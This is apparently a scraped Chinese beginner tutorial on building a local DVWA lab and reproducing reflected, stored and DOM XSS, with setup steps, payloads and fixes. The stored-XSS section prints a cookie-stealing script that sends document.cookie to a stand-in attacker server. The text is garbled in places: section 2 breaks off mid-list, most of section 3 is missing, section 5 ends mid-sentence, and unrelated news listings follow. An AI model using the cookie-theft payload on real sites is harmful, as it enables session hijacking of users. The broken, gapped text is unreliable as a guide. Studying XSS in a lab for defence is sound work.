XSS新手入门:DVWA靶场搭建与反射/存储/DOM型攻击实验详解

很多新手第一次听说XSS,是在某个安全文章或者漏洞报告里,印象只有“跨站脚本”这个看起来很高级的名字。等自己想动手试一下,又感觉无从下手:不知道装什么环境,不知道怎么配靶场,以为要搭一个真实的网站才能测。其实完全不用这么复杂。我个人的建议是:在本地搭一个专门的靶场系统,用几分钟把环境跑起来,然后一条条去复现XSS的触发过程,看它怎么弹窗、怎么劫持Cookie、怎么伪造页面,亲眼看到攻击路径,才能真正理解防护代码到底在防什么。

这篇文章专门写给XSS零基础的新手。我会把环境搭建、反射型/存储型/DOM型三类实验的完整步骤、以及我自己踩过的坑全部整理出来。整个过程只需要本地电脑操作,不需要真实的公网服务器,也不涉及任何非法行为,纯粹是安全学习与防御训练。文章里所有实验都在本地靶场内完成,请务必只在自建环境中练习。

补充一句:项目标题里写的“xxs”其实是笔误,正确写法是XSS,即Cross-Site Scripting。后面内容中我都按XSS来写。

1. 怎么搭一个专门练手的本地靶场环境

1.1 为什么非要搞一个“靶场”,而不是随便找个网站练手

新手最容易犯的一个误区,就是觉得XSS实验可以直接拿一个网站来试。我非常不建议这么做。真实网站哪怕只是弹个alert窗口,也会干扰正常用户,更重要的是这种行为在没有授权的情况下是越界的。安全学习的第一课应该是对边界保持敏感,所以我强烈建议只在完全属于你自己的环境里做实验。

靶场本质上就是一个故意留有漏洞的练习系统,它把你从“挖洞”的环节中解放出来,让你专注于理解漏洞机制本身。业内比较常用的有开源的DVWA、Pikachu、WebGoat等。这里我推荐DVWA(Damn Vulnerable Web Application),原因有三个:

  • 难度分级清晰,从Low到Impossible逐级递增,新手能先看最直白的漏洞,再逐步理解修复方案。
  • 内置SQL注入、XSS、CSRF等常见Web漏洞,一套环境够学很久。
  • 安装门槛低,配合PHP集成环境几分钟就能跑起来。

可能有人会问:能不能自己手写一个PHP页面来做XSS实验?当然可以,但我不建议新手这么干。手写页面需要自己处理数据库、表单提交、参数传递等一系列基础问题,这些跟XSS本身无关的干扰项会把你的注意力带走。DVWA已经帮你去掉了这些干扰,你只需要关心“为什么这里会弹窗”“为什么这个Cookie会被拿走”这类核心问题。

1.2 安装DVWA完整实操步骤(含参数说明)

在开始之前,先确认你的电脑满足基础条件:能联网(下载安装包)、有2GB以上空闲磁盘、操作系统不限制本地Web服务。下面以Windows环境为例,说明实操过程,Mac或者Linux的原理完全一样,只是文件路径不同。

第一步,准备PHP集成环境。我个人用的是phpStudy,因为它自带Apache、MySQL、PHP,不需要逐个安装再手动配置。你下载安装后,界面里会有一个“启动”按钮,把Apache和MySQL两个服务都点起来。启动成功时,服务状态会显示为绿色。如果启动失败,最常见的原因是端口被占用,后面第五节我会专门讲排查方法。

第二步,下载DVWA源码。DVWA是开源项目,你可以从它的官方代码仓库(GitHub)直接下载最新压缩包,解压后得到一个名为DVWA-master的文件夹。把这个文件夹重命名为DVWA,然后放到phpStudy的网站根目录下,也就是通常的WWW目录。注意,目录名不要带中文和空格,否则后面访问路径容易出问题。

第三步,复制配置文件。DVWA根目录下会有一个名为config的文件夹,里面有个config.inc.php.dist文件。你需要手动把这个文件复制一份,并把副本改名为config.inc.php。这个文件是DVWA的核心配置,默认内容里有数据库连接参数:

  • $_DVWA[ 'db_server' ] = '127.0.0.1';
  • $_DVWA[ 'db_database' ] = 'dvwa';
  • $_DVWA[ 'db_user' ] = 'root';
  • $_DVWA[ 'db_password' ] = '';
  • $_DVWA[ 'default_security_level' ] = 'low';

如果你是第一次安装,建议保持db_password为空,因为本地环境不需要强密码。等到熟悉之后再考虑改成别的。

第四步,浏览器访问并初始化。打开浏览器,输入http://127.0.0.1/DVWA,第一次访问会跳转到install.php页面。页面上有一个“Create / Reset Database”按钮,点击之后DVWA会自动创建dvwa数据库以及所需的表。看到setup页面显示全部成功,就意味着环境已经就绪。

第五步,登录系统。DVWA的默认登录账号是admin,密码是password。第一次登录后,页面右侧会出现安全等级选择,默认是Low。新手就保持在Low等级,这个等级的代码几乎没有任何防护,最适合理解漏洞本身的触发过程。等你把三类XSS都跑通了,再切到Medium、High去对比代码,可以明显看到防护逻辑一步步收紧。

到这里,你的本地靶场就算建好了。我建议你打开浏览器开发者工具,看一下DVWA页面的Cookie值,后面做XSS攻击演示时会用到。

2. XSS到底是什么,怎么就“弹窗”了

2.1 用一句话和一张流程图理解XSS攻击链路

XSS,全称Cross-Site Scripting,跨站脚本攻击。它的本质是:攻击者把一段恶意JavaScript代码“注入”到网页中,然后让浏览器在渲染这个页面时执行了这段代码。因为浏览器的执行环境是受害者的浏览器,所以攻击者能拿到受害者视角下的敏感数据,比如Cookie、会话令牌、页面内容。

我常用一个类比来解释这个过程:网页本身就像一张写好的答题卡,浏览器负责把这张卡显示出来。正常情况下,答题卡上只能有用户填写的答案。但是攻击者发现,某些答题区域没有检查输入内容,你在这里写什么,监考老师就原样抄到屏幕上。于是攻击者在填答题卡时写的不只是文字,而是写了“老师在念这段话的时候,把第一排学生的手机号悄悄记录下来”,这样的指令混在文字里。老师念的时候,指令就跟着被执行了。这就是XSS的核心逻辑:输入没被过滤,输出没被转义,代码和数据被混在了一起。

攻击链可以分成这样几步:

  • 攻击者构造一段恶意Payload,例如:
  • 这段Payload被放入某个输入点,比如搜索框、留言板、URL参数。
  • 受害者访问这个页面时,后端代码没有对这段输入做处理,直接把内容原样嵌入HTML并返回给浏览器。
  • 浏览器解析HTML时,把 等。
  • 最后考虑不同浏览器的解析规则,比如某些标签可以在无闭合script的情况下被执行。

从防御视角来看,反射型XSS的修复其实不复杂,核心就是“输出编码”。把<转成<、>转成>,让浏览器看到的是文本而不是标签,脚本自然就不会执行。DVWA的Impossible等级就用htmlspecialchars函数处理了输入,你可以切到那个等级看看代码对比,非常直观。这也是为什么学XSS一定要自己动手操作:只是看书理解“输出编码”四个字,远不如亲眼看到编码前后页面源码的变化来得深刻。

4. 实验演示:存储型XSS和DOM型XSS

4.1 存储型XSS实验:留言板里的持久化攻击

DVWA里的存储型XSS实验位于XSS(Stored)页面。这个页面的功能是一个访客留言板,包含两个输入框:一个是名字,一个是留言内容。提交后,页面底部会显示所有留言记录,这些记录是存放在数据库中的。

你可以按以下步骤实验:

  • 在Name输入框输入一个测试名字(随意),在Message输入框输入以下Payload:
<script>alert("Stored XSS")</script>
  • 点击Sign Guestbook。页面刷新后,你会看到留言已经出现在列表里,同时脚本执行,弹出警告框。
  • 这时候关键一步来了:按F5刷新页面,你会发现弹窗又出现了。这说明脚本不是在你提交的那一瞬间才生效,而是每次任何用户加载这个留言列表页面时,代码都会被服务器从数据库取出,嵌入页面并执行。

这个持久化特性让存储型XSS成为三类里危害最大的。攻击者可以把恶意脚本留在一个访问量很高的评论区,之后每一个浏览该评论的用户都有可能中招。在更复杂的场景里,攻击者甚至不需要弹窗,而是写一段静默代码,比如:

<script>new Image().src="http://攻击者服务器/?c="+document.cookie</script>

这段代码不会弹出任何框,它是利用JavaScript创建一个Image对象,然后向攻击者服务器发出请求,同时把Cookie作为参数带过去。受害者全程无感知,但会话凭据已经被偷走。在DVWA里我们不做外发请求,你只需要理解这个模型即可。

我再补充一个真实项目里常见的存储型XSS变体:XSS被写入到用户的个人资料、昵称、头像等位置。因为这些信息是长期保存的,且管理后台或用户主页会展示它们,一旦被注入,影响面往往比留言板更大。比如攻击者修改自己的昵称为一段包含恶意脚本的字符串,然后管理员在后台查看用户列表时,管理员浏览器就会执行这段脚本,攻击者从而获得高权限会话。这种被称作存储型XSS变种中的“后台打点”,在红队演练里尤其看重。

4.2 DOM型XSS实验:修改URL参数触发前端渲染

DVWA里的DOM型XSS位于“XSS (DOM)”页面。这个页面看起来很简单,有一个“Click me to change your language”的下拉列表,以及一段用来显示当前选中语言的文本。关键逻辑在前端脚本里:页面通过JavaScript读取URL参数default,然后把它插入到页面的select选项中。

我们先看一个正常操作:在下拉选择框里选一个语言,比如English,然后点击提交。URL变成了:

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English

返回的页面里会用English作为选中项。这个过程中,服务器返回的HTML是固定的,所有动态内容都是前端脚本根据default参数动态渲染出来的。现在我们把URL改成:

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert("DOM XSS")</script>

直接访问这个修改后的链接,页面加载后同样会执行弹窗脚本。注意,这台服务器没有把这段脚本拼接进HTML,它只是返回了一个静态页面,攻击代码完全是在浏览器侧由前端脚本自己读取URL参数后写入了DOM。

DOM型XSS还有一个特点,更容易被新手忽略:在地址栏直接输入完整链接,或者用浏览器控制台修改href,效果可能不一样。原因是页面加载时机不同。某些前端脚本监听的是某个事件,比如页面加载完成后才读取参数并渲染。如果你用开发者工具动态修改参数,可能不会触发。因此做实验时,建议从头到尾直接粘贴构造好的URL并回车,而不是先打开页面再改参数。

为了看清DOM型XSS的触发点,建议在浏览器里按F12打开开发者工具,切到Sources或者Elements面板,观察ID为default的元素。你会发现前端代码里有一个地方使用了类似innerHTML或document.write的调用,正是这个调用把被告警的参数写进了页面。当参数中的HTML标签被当作页面内容解析时,脚本就执行了。你可以把这个过程当成一个思维练习:如果某一天你在代码里看到document.write(location.search)这类写法,你就知道这里十有八九存在DOM型XSS风险。

5. 新手实验中的常见问题与排查思路

5.1 环境启动失败、页面白屏等典型问题

XSS实验本身上手不难,但环境搭建阶段最容易让人卡住。我把新手群里被问得最多的问题整理成了一张表,按优先级列出:

问题现象常见原因解决方法
phpStudy启动后Apache变红/停止80端口被占用,常见于本机已有IIS、Nginx或其他Web服务打开cmd输入netstat -ano,找到占用80端口的PID,结束对应进程,或者在phpStudy里把Apache端口改成8080
MySQL启动失败3306端口占用,或缺少VC运行库同样用netstat查3306占用;如果是VC库问题,安装微软常用运行库合集
访问http://127.0.0.1/DVWA显示404解压后的目录名不对,或没放进www目录确认目录名为DVWA,且路径是网站根目录/DVWA
点击Create/Reset Database后报错config.inc.php不存在,或数据库配置不正确确认dist文件已复制并改名为config.inc.php,检查db_password是否与本地MySQL一致
页面能打开但账号密码错误登录信息被重置过,或数据库初始化失败重新执行setup,点击Reset Database,恢复默认admin/password

还有一个非常容易踩的坑:DVWA页面里反复提示“Security Level”无法保存。这个通常是因为浏览器禁用了Cookie,DVWA需要通过Cookie保存安全等级。你在浏览器隐私设置里允许localhost的Cookie即可。

5.2 弹窗不出现、Payload不生效,如何一步步定位问题

实验过程中最常见的“弹不出来”问题,原因通常不是环境坏了,而是Payload与当前HTML上下文不匹配。我建议按下面顺序排查:

第一步,确认访问的是Low安全等级。DVWA页面右上角会显示当前等级,如果是Medium或High,实验条件和这不同,script标签会被过滤,弹窗自然不出现。切回Low等级再试。

第二步,用浏览器开发者工具查看网络请求和响应内容。按F12,切到Network,重新提交一次表单,找到对应的请求,查看响应中的HTML源码。重点看你输入的Payload是不是原样出现在返回HTML里。如果发现<字符变成了<,说明后端做了编码,此时应切到更高难度或者检查等级配置;如果Payload的尖括号被空格替换掉,说明有过滤函数。

第三步,检查Payload是否写入了DOM。对DOM型XSS而言,要看Sources面板里前端代码到底读取的是哪个参数名。DVWA里是default,但有些实验可能是lang、page等,参数名对不上就会失效。

第四步,注意浏览器拦截。部分浏览器会拦截包含明显script标签的URL。如果你在地址栏直接粘贴带有

相关新闻

周立功USBCAN函数库:工业级CAN通信API开发指南

周立功USBCAN函数库:工业级CAN通信API开发指南

简介&#xff1a;本资源是周立功USBCAN系列接口卡&#xff08;含USBCAN、CAN232、PCI Control CAN等&#xff09;配套的官方级API函数库&#xff0c;面向嵌入式开发、汽车电子调试及工业CAN通信初/中级工程师&#xff0c;解决CAN总线设备与PC端快速集成开发难题。压缩包共14个文…

2026/10/20 4:58:54 阅读更多 →
从问答式AI到Agent式AI:AI编程新范式的实战与思考

从问答式AI到Agent式AI:AI编程新范式的实战与思考

先说实话&#xff0c;几个月前我还在朋友圈里吐槽&#xff0c;说 Agent 无非是把大模型包装成“自动干活”的高级玩具&#xff0c;噱头大于实用。直到有一天&#xff0c;我对着一个拖了一周的集成问题束手无策&#xff0c;抱着试试看的心态&#xff0c;把一个带编译报错的项目目…

2026/10/20 4:57:54 阅读更多 →
脑肿瘤检测数据集实战:基于ResNet50的二分类模型构建与调优

脑肿瘤检测数据集实战:基于ResNet50的二分类模型构建与调优

1. 项目概述1.1 快速认识这个数据集说白了&#xff0c;这份“脑肿瘤检测数据集”就是3000张脑部JPG格式医学图像&#xff0c;全部做了二分类标注——一类是“有肿瘤”&#xff0c;一类是“无肿瘤”。目标是拿去喂给AI算法&#xff0c;训练出能够自动判断脑部影像是否存在肿瘤的…

2026/10/20 4:57:54 阅读更多 →

最新新闻

Keras大文件训练内存溢出解决方案:三层数据流架构

Keras大文件训练内存溢出解决方案:三层数据流架构

1. 为什么“大文件无法一次性读入内存”是Keras用户绕不开的坎&#xff1f;Keras作为高层深度学习API&#xff0c;最大的优势是简洁、直观、上手快——写个model.fit(X_train, y_train)就能跑通一个模型。但这个看似简单的接口背后&#xff0c;藏着一个被新手反复踩坑、被老手默…

2026/10/20 5:39:13 阅读更多 →
为什么代码写得对却不值钱?工程师价值重估指南

为什么代码写得对却不值钱?工程师价值重估指南

1. 这不是代码批判&#xff0c;而是工程师价值重估的现场“你的代码不值钱&#xff0c;你为什么这么写才值钱”——这句话刚在技术社区刷屏时&#xff0c;我正帮某高校实验室重构一套运行了七年的教学评估系统。那套代码语法完全合规&#xff0c;单元测试覆盖率92%&#xff0c;…

2026/10/20 5:39:13 阅读更多 →
Playwright驱动浏览器自动化:破解无限瀑布流动态加载的爬虫实战

Playwright驱动浏览器自动化:破解无限瀑布流动态加载的爬虫实战

直接开始。玩爬虫的人多少都遇到过这种场景&#xff1a;目标网站数据明明就摆在页面上&#xff0c;但用 requests 怎么抓都只能拿到首页那一小段&#xff0c;往下翻页面&#xff0c;心跳都跟着滚轮一起加速&#xff0c;可手里的代码就是纹丝不动。小红书这种重 JS 交互的平台&a…

2026/10/20 5:39:13 阅读更多 →
32位系统内存补丁实战:PatchPae2让老电脑用满4G以上内存

32位系统内存补丁实战:PatchPae2让老电脑用满4G以上内存

简介&#xff1a;PatchPae2补丁面向32位的Windows 8.1操作系统&#xff0c;通过启用系统物理地址扩展功能&#xff0c;突破4GB内存识别上限&#xff0c;解决系统只能使用部分物理内存的痛点&#xff0c;适合受内存容量制约的用户、开发者和运维人员&#xff1b;补丁以修改内核方…

2026/10/20 5:39:13 阅读更多 →
MCP工具调用机制与优化实践:从原理到工程落地

MCP工具调用机制与优化实践:从原理到工程落地

1. MCP 工具调用的核心机制拆解1.1 从“对话”到“行动”&#xff1a;MCP 到底解决了什么问题MCP&#xff08;Model Context Protocol&#xff09;现在几乎是 AI 应用开发绕不开的协议了&#xff0c;但很多刚接触的人容易把注意力放在“这是什么”上面&#xff0c;忽略了一个更…

2026/10/20 5:39:13 阅读更多 →
原生JavaScript实现贪吃蛇:核心逻辑与Canvas渲染实战

原生JavaScript实现贪吃蛇:核心逻辑与Canvas渲染实战

最近整理硬盘上的旧文件夹&#xff0c;翻出一个好几年前写的JavaScript贪吃蛇。当时是某段时间练手用的&#xff0c;代码写得很粗糙&#xff0c;注释也不全&#xff0c;但核心逻辑基本完整&#xff0c;跑起来没有问题。这几天花时间把代码理清爽、补上注释、顺手修掉几个当年没…

2026/10/20 5:38:13 阅读更多 →

日新闻

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
ESP32舵机控制指南:原理、多路驱动与避坑实战

ESP32舵机控制指南:原理、多路驱动与避坑实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
位移法实现一阶低通滤波:单片机ADC采样降噪实战

位移法实现一阶低通滤波:单片机ADC采样降噪实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/20 2:50:50 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →